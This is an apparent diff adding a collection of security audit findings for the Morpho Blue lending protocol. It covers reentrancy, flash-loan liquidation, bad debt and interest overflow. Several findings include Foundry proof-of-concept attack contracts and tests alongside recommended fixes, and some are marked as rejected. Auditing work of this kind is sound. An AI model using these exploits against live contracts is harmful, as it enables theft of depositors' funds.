+ console.log("Point 2 - Total borrow assets in market:", marketAfterFlashLoan.totalBorrowAssets);
+
+ // Increase oracle price to make Bob's position unhealthy
+ oracle.setPrice(oracle.price() - (oracle.price()/2));
+
+ // Liquidate a portion of Bob's position (Point 3)
+ morpho.liquidate(marketParams, address(flashLoanExploit), 1e23, 0, "");
+
+ // Log market state after partial liquidation (Point 3)
+ Market memory marketAfterPartialLiquidation = morpho.market(id);
+ console.log("Point 3 - Total supplied assets in market:", marketAfterPartialLiquidation.totalSupplyAssets);
+ console.log("Point 3 - Total borrow assets in market:", marketAfterPartialLiquidation.totalBorrowAssets);
+
+ // Liquidate the remaining portion of Bob's position (Point 4), accumulating bad debt
+ // and diluting not Bob's, but Alice's supplied assets, to the point they're almost halved,
+ // even though Bob has only risked 1e22 assets.
+ morpho.liquidate(marketParams, address(flashLoanExploit), 9e23, 0, "");
+
+ // Log market state after full liquidation (Point 4)
+ Market memory marketAfterFullLiquidation = morpho.market(id);
+ console.log("Point 4 - Total supplied assets in market:", marketAfterFullLiquidation.totalSupplyAssets);
+ console.log("Point 4 - Total borrow assets in market:", marketAfterFullLiquidation.totalBorrowAssets);
+ }
+
+}
+```
+
+Execute the proof of concept by running the following command
+```
+forge test --match-contract ExploitIntegrationTest -vv
+```
+
+The output should look like this:
+[![morpho-poc.jpg](https://i.postimg.cc/bN4dGCPn/morpho-poc.jpg)](https://postimg.cc/KRrmw5Rc)
+- Recommendation
+This vulnerability presents some difficulty when attempting to create a mitigation that is able to balance the flashloan logic and other important operations.
+A reentrancy guard modifier on all the contract's financial operations (supply, withdraw, borrow, repay, supplyCollateral, withdrawCollateral and liquidate) should protect it from self-supplying already provided collateral or loan tokens on flashloans.
+Additionally, allowing markets to only be deployed with different collateral and loan tokens helps avoid this vulnerability.
+
+
+
+
+
+
+### User's funds will be stuck forever if using some particular Irm or/and occuring of some market events
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L477-L477](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L477-L477)
+
+**Description**:
+
+if the variable interest goes beyond type(uint128).max, all the calls to accrueInterest will fail.
+
+The following methods will fail at each call :
+
+- supply
+- setFee
+- withdraw
+- borrow
+- repay
+- withdrawCollateral
+- liquidate
+
+Each of these functions are critical to borrowers, lenders and liquidators.
+
+The variable interest is correlated to three variables :
+- totalBorrowAssets
+- borrowRate
+- elapsed
+
+The first one is sensitive to market activity or market manipulation ( or inflation attack like 3.14 from cantina audit).
+The second one is sensitive to some choice of design in irm ( AdaptativeCurve from metamorpho repository with some 'wrong' combination of inputs can be included).
+The third one is related to the time elapsed since last action.
+
+**Likehood :**
+
+This phenomenon is likely to occur in a market with low activity ( one day without activity leads to a elapsed value close to 1e5), and an irm not well configured ( example: Adaptative curve with all the 'maximum' parameters).
+
+**Severity :**
+
+Loss of funds. Each actor of the market will not be able to withdraw their funds.
+
+
+ **POC**
+
+First of all, we need to modify the BaseTest.sol to use AdaptativeCurve.sol with some authorized parameters,
+irm = new AdaptiveCurveIrm(address(morpho),8 * 1e18,6 ,6,6* ( int256(0.001e9 ether) / 365 days));
+
+After, we need to create this test (modification of existing test adding waiting time between borrow and repay). For the sake of demonstration, we use an irrealistic amount of time without action of 4e8 but this number can be optimized.
+
+function testBugAccrueInterest(uint256 amountCollateral, uint256 priceCollateral) public {
+
+ // Bounding some inputs to avoid case with amout with huge decimals
+ uint256 amountSupplied = 85413000000000;
+ uint256 amountBorrowed = 7522100000000;
+ uint256 amountRepaid = 1356385611 ;
+
+ // Avoid values egal to 0
+ vm.assume( amountCollateral > 100);
+ vm.assume (priceCollateral>1);
+
+ // Making supply collateral esay
+ (amountCollateral, amountBorrowed, priceCollateral) =
+ _boundHealthyPosition(amountCollateral, amountBorrowed, priceCollateral);
+
+ // Supply
+ _supply(amountSupplied);
+
+ oracle.setPrice(priceCollateral);
+
+ // Balance setting
+ collateralToken.setBalance(ONBEHALF, amountCollateral);
+ loanToken.setBalance(REPAYER, amountRepaid);
+
+ // Borrowing action
+ vm.startPrank(ONBEHALF);
+ morpho.supplyCollateral(marketParams, amountCollateral, ONBEHALF, hex"");
+ morpho.borrow(marketParams, amountBorrowed, 0, ONBEHALF, RECEIVER);
+ vm.stopPrank();
+
+ // fast forward
+ vm.roll(block.number + 4e8);
+ vm.warp(block.timestamp + 4e8 * BLOCK_TIME); // Block speed should depend on test network.
+
+ // Repaying action
+ vm.prank(REPAYER);
+
+ //vm.expectRevert("max uint128 exceeded");
+ (uint256 returnAssets, uint256 returnShares) = morpho.repay(marketParams, amountRepaid, 0, ONBEHALF, hex"");
+ }
+Launching Forge, we can get this error with reasonable inputs :
+Failing tests:
+
+[FAIL. Reason: max uint128 exceeded Counterexample: calldata=0x0xd57d7c910000000000000000000000000000000000000000000000000000000000000065000000000000000000000000000000000000000000000000000000066efc4983, args=[101, 27631831427 [2.763e10]]] testBugAccrueInterest(uint256,uint256) (runs: 0, μ: 0, ~: 0)
+
+
+**Recommendation**:
+
+Add a require before the call to _accrueinterest or create a method toUint128 that doesn't send an error. If If the value is superior to type(uint128).max, this method can send type(uint128).max or an amount that doesn't create another arithmetic error. Users will lose some earned interests but will not lose funds.
+This recommendation is different from the cantina review §3.1.3 because it doesn't need to implement a logic to handle a broken irm.
+
+
+
+### Malicious liquidators can create bad debt for the protocol
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+When a malicious liquidator partially liquidates a position, for example, 99%, it can create bad debt for the protocol. This is because the redistribution of bad debt cannot occur if the borrower's collateral amount is not zero. Additionally, the 1% collateral amount may not be profitable for other liquidators due to the gas price or price movement. Due to that malicious liquidators can continuously create a bad debt for the protocol.
+
+POC:
+LiquidateIntegrationTest.sol
+```solidity
+function testLiquidateBadDebtRealized(
+ uint256 amountCollateral,
+ uint256 amountSupplied,
+ uint256 amountBorrowed,
+ uint256 priceCollateral,
+ uint256 lltv
+ ) public {
+ _setLltv(_boundTestLltv(lltv));
+ LiquidateBadDebtTestParams memory params;
+
+ (amountCollateral, amountBorrowed, priceCollateral) = _boundUnhealthyPosition(
+ amountCollateral,
+ amountBorrowed,
+ priceCollateral
+ );
+
+ vm.assume(amountCollateral > 100);
+
+ params.liquidationIncentiveFactor = _liquidationIncentiveFactor(marketParams.lltv);
+ params.expectedRepaid = amountCollateral.mulDivUp(priceCollateral, ORACLE_PRICE_SCALE).wDivUp(
+ params.liquidationIncentiveFactor
+ );
+
+ uint256 minBorrowed = Math.max(params.expectedRepaid, amountBorrowed);
+ amountBorrowed = bound(amountBorrowed, minBorrowed, Math.max(minBorrowed, MAX_TEST_AMOUNT));
+
+ amountSupplied = bound(amountSupplied, amountBorrowed, Math.max(amountBorrowed, MAX_TEST_AMOUNT));
+ _supply(amountSupplied);
+
+ loanToken.setBalance(LIQUIDATOR, amountBorrowed);
+ collateralToken.setBalance(BORROWER, amountCollateral);
+
+ oracle.setPrice(type(uint256).max / amountCollateral);
+
+ vm.startPrank(BORROWER);
+ morpho.supplyCollateral(marketParams, amountCollateral, BORROWER, hex"");
+ morpho.borrow(marketParams, amountBorrowed, 0, BORROWER, BORROWER);
+ vm.stopPrank();
+
+ oracle.setPrice(priceCollateral);
+
+ params.expectedRepaidShares = params.expectedRepaid.toSharesDown(
+ morpho.totalBorrowAssets(id),
+ morpho.totalBorrowShares(id)
+ );
+ params.borrowSharesBeforeLiquidation = morpho.borrowShares(id, BORROWER);
+ params.totalBorrowSharesBeforeLiquidation = morpho.totalBorrowShares(id);
+ params.totalBorrowBeforeLiquidation = morpho.totalBorrowAssets(id);
+ params.totalSupplyBeforeLiquidation = morpho.totalSupplyAssets(id);
+ params.expectedBadDebt = (params.borrowSharesBeforeLiquidation - params.expectedRepaidShares).toAssetsUp(
+ params.totalBorrowBeforeLiquidation - params.expectedRepaid,
+ params.totalBorrowSharesBeforeLiquidation - params.expectedRepaidShares
+ );
+
+ vm.prank(LIQUIDATOR);
+
+ morpho.liquidate(marketParams, BORROWER, (amountCollateral * 99) / 100, 0, hex"");
+ }
+```
+
+**Recommendation**:
+For partial liquidations, the borrower's collateral balance must remain above a certain level after the liquidation process.
+
+
+
+### issue "First borrower of a Market can stop other users from borrowing by inflating total Borrow Shares" is not fixed. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+In Spearbit's audit report, issue 3.1.4 is still not fixed. It can lead to DoS whenever creating markets. Morpho said that "there is an easy fix (but bad UX) consisting on borrowing 1e4 assets when creating market". However, it can still suffer from back-run between two different transactions. Creating market and Borrowing small assets should be in the same transaction.
+
+
+**Recommendation**:
+There are some options
+1. Follow recommendation in report, Consider adding a lower bound of borrowing assets for the first borrower.
+2. like dead share mitigation to mitigate inflation attack, consider dead borrowed assets.
+3. Include borrowing small assets in createMarket().
+
+
+
+### FeeRecipient dilutes new interest if previous feeShares not withdrawn _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+`FeeRecipient` accumulates fees by receiving supply shares.
+- https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L483-L488
+
+But `FeeRecipient` never provides liquidity, thus these shares will dilute other liquidity providers and decrease their returns. In addition, FeeRecipient will generate more fees than expected.
+
+It can be proved by two interest accruals in a row.
+
+FIRST INTEREST ACCRUAL
+```
+totalSupplyAssets = 100
+totalBorrowAssets = 100
+totalSupplyShare = 100
+interest = 10
+fee = 20%
+feeAmount = 10 * 20% = 2
+feeShares = 2 / (100 + 10 - 2) * 100 = 1.85185
+```
+
+For now, it is correct, as withdrawing 1.85185 shares will result in 2 tokens withdrawn.
+```
+totalSupplyAssets = 100 + 10 = 110
+totalSupplyShare = 101.85185
+withdrawn fee = 1.85185 / 101.85185 * 110 = 2
+```
+
+SECONDS INTEREST ACCRUAL
+
+```
+totalSupplyAssets = 110
+totalBorrowAssets = 110
+totalSupplyShare = 101.85185
+interest = 10
+fee = 20%
+feeAmount = 10 * 20% = 2
+feeShares = 2 / (110 + 10 - 2) * 101.85185 = 1.7263
+```
+
+In total, FeeRecipient has shares from two accruals = 1.7263 + 1.85185 = 3.578
+If withdrawn FeeRecipient will receive:
+```
+feeAmount = 110 + 10 = 120
+totalSupplyShare = 103.578
+withdrawn fee = 3.578 / 103.578 * 120 = 4.145454
+While it was only 4 feeAmound collected.
+```
+
+0.145454 are taken from other liquidity providers.
+It happens because after the first accrual, FeeRecipient receives shares, Morpho treats FeeRecipient as a liquidity provider, thus diluting the returns of other liquidity providers. The dilution happens because FeeRecipient has not provided liquidity, but starts receiving interest.
+
+Same thing for bad debt - fees will be decreased after a bad debt event.
+
+**Recommendation**:
+
+Fees can be stored in a separate storage. For example, a separate mapping `feeRecipient=>token=>fees`.
+
+
+
+### Users may be liquidated right after taking maximal debt _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L255-L255](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L255-L255)
+
+**Description**:
+
+Morpho use the liquidation LTV to check on `_isHealty` when user borrows instead of introducing a different ltv for max borrow. This can raise issue when user maximize their borrow amount, which in turn it may trigger a bad position then liquidation.
+
+Other lending protocol like Compound, Maker and AAVE have different LTV threshold, Max LTV is the maximal debt and Liquidation threshold is the liquidation LTV. Users may borrow until max LTV but they're liquidated only after reaching the liquidation LTV. The difference allows price and collateral value fluctuations which protects users from liquidations caused by high volatility.
+
+This lack of gap between max borrow and liquidation threshold can make a user position is liquidateable due to fluctuation of asset's price.
+
+```js
+File: Morpho.sol
+232: function borrow(
+233: MarketParams memory marketParams,
+234: uint256 assets,
+235: uint256 shares,
+236: address onBehalf,
+237: address receiver
+238: ) external returns (uint256, uint256) {
+...
+255: require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+256: require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+...
+263: }
+...
+513: function _isHealthy(MarketParams memory marketParams, Id id, address borrower, uint256 collateralPrice)
+514: internal
+515: view
+516: returns (bool)
+517: {
+518: uint256 borrowed = uint256(position[id][borrower].borrowShares).toAssetsUp(
+519: market[id].totalBorrowAssets, market[id].totalBorrowShares
+520: );
+521: uint256 maxBorrow = uint256(position[id][borrower].collateral).mulDivDown(collateralPrice, ORACLE_PRICE_SCALE)
+522: .wMulDown(marketParams.lltv);
+523:
+524: return maxBorrow >= borrowed;
+525: }
+```
+
+**Recommendation**:
+
+Consider adding another threshold for max borrowing of user's position, instead of maximizing the borrow up until the liquidation LTV. This will create a room for price fluctuations and let users increase their collateral or decrease debt before being liquidating.
+
+
+
+### Unprotected slippage in liquidation
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The primary purpose of the `Morpho.liquidate()` function is to maintain the health of the market by liquidating unhealthy borrowing positions and providing a liquidation reward to the initiator of the liquidation.
+
+In the function, when `seizedAssets > 0`, the protocol calculates repaidAssets using the formula `seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor)`. Subsequently, the protocol transfers the corresponding quantity of tokens from msg.sender to the protocol.
+```solidity
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ repaidShares = repaidAssets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ } else {
+ repaidAssets = repaidShares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+
+
+```
+
+ However, there is no slippage protection mechanism in the protocol.The absence of slippage protection poses a risk, as the collateralPrice may be manipulated. In the event of a manipulated collateralPrice, the protocol might end up transferring a greater quantity of tokens from the user than initially expected. This could result in an unfair scenario where the liquidator pays more tokens than anticipated due to price manipulation, potentially leading to unintended financial losses for the user.
+
+
+
+### The `repay()` function lacks slippage protection. _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The `Morpho.repay()` function is responsible for handling the repayment of borrowed assets in the Morpho protocol.
+Within the function, the protocol invokes the accrueInterest() function to accumulate interest on borrowed assets. The interest is computed using the borrow rate obtained from IIrm(irm).borrowRate() and the formula:
+```solidity
+ function _accrueInterest(MarketParams memory marketParams, Id id) internal {
+ uint256 elapsed = block.timestamp - market[id].lastUpdate;
+
+ if (elapsed == 0) return;
+
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+
+```
+This accrued interest is then added to market[id].totalBorrowAssets and market[id].totalSupplyAssets.
+```solidity
+
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+
+```
+
+The issue arises when the IIrm(irm).borrowRate() is manipulated, causing an excessively high interest rate. Consequently, the computed value of assets in the absence of adequate slippage protection becomes disproportionately large. This can lead to the protocol extracting more funds than anticipated from users during the interest accrual process.
+
+Impact:
+
+If the borrow rate is maliciously manipulated, users may face significant and unexpected deductions when interest is accrued, as the calculated assets value becomes inflated due to the manipulated interest rate.
+
+Recommendation:
+
+Implement slippage protection mechanisms.
+
+
+
+### Re-entrancy in `supply()` function _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L189-L189](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L189-L189)
+
+**Description**:
+The `supply()` function has state changes after the callback, which can lead to malicious users re-entering and supplying tokens that they don't own.
+
+**PoC For Reentrancy**:
+Attaching a PoC of the following attack,
+1. A naive user supplies loanToken to a pool.
+2. An attacker uses the re-entrancy vulnerability to supply tokens using the loanToken supplied by the naive user.
+
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "./BaseTest.sol";
+
+contract Malicious is BaseTest {
+ MarketParams public __marketParams;
+
+ constructor(MarketParams memory _marketParams) {
+ __marketParams = _marketParams;
+ }
+
+ function onMorphoSupply(uint256 assets, bytes memory data) external {
+ IMorpho(msg.sender).withdraw(__marketParams, assets, 0, address(this), address(this));
+ }
+}
+
+contract WithdrawIntegrationTest is BaseTest {
+ using MathLib for uint256;
+ using MorphoLib for IMorpho;
+ using SharesMathLib for uint256;
+
+ address attacker;
+
+ function setUp() public override {
+ super.setUp();
+ attacker = address(new Malicious(marketParams));
+ }
+
+ function test_reentrancyInSupply() external {
+ /// innocent supplier
+ vm.startPrank(SUPPLIER);
+ loanToken.setBalance(SUPPLIER, HIGH_COLLATERAL_AMOUNT);
+ loanToken.approve(address(morpho), 2e18);
+ morpho.supply(marketParams, 2e18, 0, SUPPLIER, hex"");
+
+ /// malicious supplier
+ /// console this attacker balance
+ vm.startPrank(attacker);
+ console.log(loanToken.balanceOf(attacker));
+ loanToken.approve(address(morpho), 2e18);
+ morpho.supply(marketParams, 2e18, 0, attacker, bytes("1000"));
+ }
+}
+```
+
+Run the following to understand the attack, the attacker has no loanToken but is still able to supply successfully.
+
+To run the tests, paste the code into a file named `Reentrancy.sol` in the test/forge folder and run ` FOUNDRY_PROFILE=test forge test --match-test test_reentrancyInSupply -vvvvv`
+
+
+**Impact:**
+There could be various impacts expected / unexpected that could arise because of this ability to re-enter.
+
+One such functionality is to brick the metrics of lending pools safely by using collateral present in another pool. The inflated metrics undermines the trustability of the protocol.
+
+PoC for bricking metric by using `loanToken of pool A` to inflate the supply and withdraw metrics of pool B which has `loanToken of A as collateralToken of pool B`
+
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "./BaseTest.sol";
+
+contract MaliciousOracle {
+ function price() external view returns (uint256) {
+ return 1e18;
+ }
+}
+
+contract Malicious is BaseTest {
+ MarketParams public __marketParams;
+ MarketParams public __marketParams2;
+
+ constructor(MarketParams memory _marketParams, MarketParams memory _marketParams2) {
+ __marketParams = _marketParams;
+ __marketParams2 = _marketParams2;
+ }
+
+ function onMorphoSupplyCollateral(uint256 assets, bytes memory) external {
+ IMorpho(msg.sender).withdrawCollateral(__marketParams2, 1e18, address(this), address(this));
+ }
+
+ function onMorphoSupply(uint256 assets, bytes memory data) external {
+ IMorpho(msg.sender).withdraw(__marketParams, 1e18, 0, address(this), address(this));
+ IMorpho(msg.sender).supplyCollateral(__marketParams2, 1e18, address(this), bytes("1001"));
+ }
+}
+
+contract WithdrawIntegrationTest is BaseTest {
+ using MathLib for uint256;
+ using MorphoLib for IMorpho;
+ using SharesMathLib for uint256;
+
+ MarketParams public maliciousMarket;
+ address attacker;
+
+ function setUp() public override {
+ super.setUp();
+ maliciousMarket = MarketParams(
+ address(collateralToken),
+ address(loanToken),
+ address(new MaliciousOracle()),
+ marketParams.irm,
+ marketParams.lltv
+ );
+ morpho.createMarket(maliciousMarket);
+ attacker = address(new Malicious(marketParams, maliciousMarket));
+ }
+
+ function test_reentrancyInSupply() external {
+ /// innocent supplier
+ vm.startPrank(SUPPLIER);
+ loanToken.setBalance(SUPPLIER, HIGH_COLLATERAL_AMOUNT);
+ loanToken.approve(address(morpho), 2e18);
+ morpho.supply(marketParams, 2e18, 0, SUPPLIER, hex"");
+
+ /// malicious supplier
+ /// console this attacker balance
+ vm.startPrank(attacker);
+ console.log(loanToken.balanceOf(attacker));
+ loanToken.approve(address(morpho), 4e18);
+ morpho.supply(marketParams, 1e18, 0, attacker, bytes("1000"));
+ morpho.position(MarketParamsLib.id(marketParams), attacker);
+ morpho.position(MarketParamsLib.id(maliciousMarket), attacker);
+ }
+}
+
+```
+
+**Recommendation**: Add re-entrancy protection / move the callback function after moving the tokens from the user to the morpho contract.
+
+
+
+### Re-entrancy in `supplyCollateral()` function _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L300-L300](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L300-L300)
+
+**Description**: A malicious actor can reenter on callback and can exploit the `supplyCollateral()` function without owning any collateral assets.
+
+**PoC**:
+- A normal user supplies some tokens as collateral to the pool
+- A malicious user re-enters on `supplyCollateral()` function and supplies tokens that he doesn't own.
+
+```solidity
+// SPDX-License-Identifier: GPL-2.0-or-later
+pragma solidity ^0.8.0;
+
+import "./BaseTest.sol";
+
+contract Malicious is BaseTest {
+ MarketParams public __marketParams;
+
+ constructor(MarketParams memory _marketParams) {
+ __marketParams = _marketParams;
+ }
+
+ function onMorphoSupplyCollateral(uint256 assets, bytes memory) external {
+ IMorpho(msg.sender).withdrawCollateral(__marketParams, assets, address(this), address(this));
+ }
+}
+
+contract SupplyCollateralReentrancyHack is BaseTest {
+ using MathLib for uint256;
+ using MorphoLib for IMorpho;
+ using SharesMathLib for uint256;
+
+ address attacker;
+
+ function setUp() public override {
+ super.setUp();
+ attacker = address(new Malicious(marketParams));
+ }
+
+ function test_reentrancyInSupplyCollateral() external {
+ /// innocent supplier
+ vm.startPrank(SUPPLIER);
+ collateralToken.setBalance(SUPPLIER, HIGH_COLLATERAL_AMOUNT);
+ collateralToken.approve(address(morpho), 2e18);
+ morpho.supplyCollateral(marketParams, 2e18, SUPPLIER, hex"");
+
+ /// malicious supplier
+ /// console this attacker balance
+ vm.startPrank(attacker);
+ console.log(collateralToken.balanceOf(attacker));
+ collateralToken.approve(address(morpho), 2e18);
+ morpho.supplyCollateral(marketParams, 2e18, attacker, bytes("1000"));
+ }
+}
+```
+
+To run this test, place the file into the `test/forge` folder and run ` FOUNDRY_PROFILE=test forge test --match-test test_reentrancyInSupply -vvvvv`
+
+**Recommendation**: Add reentrancy guard / move the state change (token transfer from user to the address) before the callback.
+
+
+
+### If supplied assets are significantly less in value compared to total asset user can receive zero shares
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+In the `supply` function, the conversion of supplied assets to shares is a critical step that determines the number of shares a user receives in exchange for their supplied assets. But If supplied assets are significantly less in value compared to total asset user can receive zero shares
+
+**Proof-Of-Concept**
+
+- Alice supplies 999 assets.
+- Total supply shares (totalSupplyShares) is 100,000.
+- Total supply assets (totalSupplyAssets) is 100,000,000.
+
+
+The [toSharesDown](https://github.com/morpho-org/morpho-blue/blob/4f50a27d0b0906a019cdf8d7b20c276cca5be9c9/src/libraries/SharesMathLib.sol#L23-L26) function from the `SharesMathLib` library is used for the conversion, which rounds down the result. The formula used in the conversion is:
+`assets.mulDivDown(totalShares + VIRTUAL_SHARES, totalAssets + VIRTUAL_ASSETS)`
+
+Using the scenario values, the calculation becomes: `999.mulDivDown(100,000 + 1e6, 100,000,000 + 1)`
+
+
+Given the large disparity between Alice's supplied assets (999) and the total assets in the market (100,000,000), the converted shares could be less than one. In solidity, integer division rounds down to the nearest whole number. Therefore, any fractional result will be rounded down to 0.
+
+In markets where the total supply of assets is disproportionately large compared to the amount of assets being supplied, there's a risk that the user supplying a very small number of assets will receive 0 shares, effectively losing their assets without gaining any shares in return.
+
+**Recommendation**:
+
+Implement a minimum threshold for asset supply. This threshold should be set to a level where the conversion to shares would not result in zero. The threshold can be dynamic, based on the total supply of assets or a fixed minimum value that makes economic sense in the context of the protocol.
+
+**Tools Used**:
+Manual Review
+
+
+
+### User can perform self-liquidation to distribute bad debt to all other money market supplies _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** [Morpho.sol#L386-L390](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L386-L390)
+
+- Description
+
+usually [self-liquidation](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L395) is not a issue
+
+if
+
+1. the liquidated seized amount does not exceed the user debt
+2. all debt is repaid
+
+but in this case,
+
+a user that has bad debt can self-liquidate to distribute bad debt to all other money market supply and reduce all other money market lender's fund based [on this logic](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L395)
+
+```solidity
+ market[id].totalBorrowAssets -= badDebt.toUint128();
+ market[id].totalSupplyAssets -= badDebt.toUint128();
+ market[id].totalBorrowShares -= badDebtShares.toUint128();
+```
+
+such self-liquidation can happen repetitively to cause other money market lender to lose money because .totalBorrowAssets and totalSupplyAssets and totalBorrowShares are all reduced to cover bad debt
+
+- Recommendation
+
+should consider a alternative way to socialize and distribute the bad debt
+
+
+
+### Potential Security Breach Due to Excessive Authorization in Specific Scenarios within Morpho Protocol _(this issue has been rejected)_
+
+**Severity:** High risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+The setAuthorizationWithSig and setAuthorization functions in Morpho Protocol primarily set up delegator and delegatee relationships.
+
+```solidity
+struct Authorization {
+ address authorizer;
+ address authorized;
+ bool isAuthorized;
+ uint256 nonce;
+ uint256 deadline;
+}
+...
+/// @inheritdoc IMorphoBase
+function setAuthorization(address authorized, bool newIsAuthorized) external {
+ isAuthorized[msg.sender][authorized] = newIsAuthorized;
+
+ emit EventsLib.SetAuthorization(msg.sender, msg.sender, authorized, newIsAuthorized);
+}
+
+/// @inheritdoc IMorphoBase
+function setAuthorizationWithSig(Authorization memory authorization, Signature calldata signature) external {
+ require(block.timestamp <= authorization.deadline, ErrorsLib.SIGNATURE_EXPIRED);
+ require(authorization.nonce == nonce[authorization.authorizer]++, ErrorsLib.INVALID_NONCE);
+
+ bytes32 hashStruct = keccak256(abi.encode(AUTHORIZATION_TYPEHASH, authorization));
+ bytes32 digest = keccak256(abi.encodePacked("\x19\x01", DOMAIN_SEPARATOR, hashStruct));
+ address signatory = ecrecover(digest, signature.v, signature.r, signature.s);
+
+ require(signatory != address(0) && authorization.authorizer == signatory, ErrorsLib.INVALID_SIGNATURE);
+
+ emit EventsLib.IncrementNonce(msg.sender, authorization.authorizer, authorization.nonce);
+
+ isAuthorized[authorization.authorizer][authorization.authorized] = authorization.isAuthorized;
+
+ emit EventsLib.SetAuthorization(
+ msg.sender, authorization.authorizer, authorization.authorized, authorization.isAuthorized
+ );
+}
+...
+function _isSenderAuthorized(address onBehalf) internal view returns (bool) {
+ return msg.sender == onBehalf || isAuthorized[onBehalf][msg.sender];
+}
+```
+
+Morpho Blue operates as a permission-less lending market, allowing a diverse user base to create and participate in markets. Notably, users can authorize specific accounts to borrow against their collateral.
+
+However, a significant concern arises as delegates can borrow against the delegator's collateral without any limit on the amount, and they can arbitrarily designate the receiver.
+
+```solidity
+function borrow(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ position[id][onBehalf].borrowShares += shares.toUint128();
+ market[id].totalBorrowShares += shares.toUint128();
+ market[id].totalBorrowAssets += assets.toUint128();
+
+ require(_isHealthy(marketParams, id, onBehalf), ErrorsLib.INSUFFICIENT_COLLATERAL);
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Borrow(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+}
+...
+function withdraw(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ address receiver
+) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares -= shares;
+ market[id].totalSupplyShares -= shares.toUint128();
+ market[id].totalSupplyAssets -= assets.toUint128();
+
+ require(market[id].totalBorrowAssets <= market[id].totalSupplyAssets, ErrorsLib.INSUFFICIENT_LIQUIDITY);
+
+ emit EventsLib.Withdraw(id, msg.sender, onBehalf, receiver, assets, shares);
+
+ IERC20(marketParams.loanToken).safeTransfer(receiver, assets);
+
+ return (assets, shares);
+}
+...
+function withdrawCollateral(MarketParams memory marketParams, uint256 assets, address onBehalf, address receiver)
+ external
+{
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(assets != 0, ErrorsLib.ZERO_ASSETS);
+ require(receiver != address(0), ErrorsLib.ZERO_ADDRESS);
+ // No need to verify that onBehalf != address(0) thanks to the following authorization check.
+ require(_isSenderAuthorized(onBehalf), ErrorsLib.UNAUTHORIZED);
+
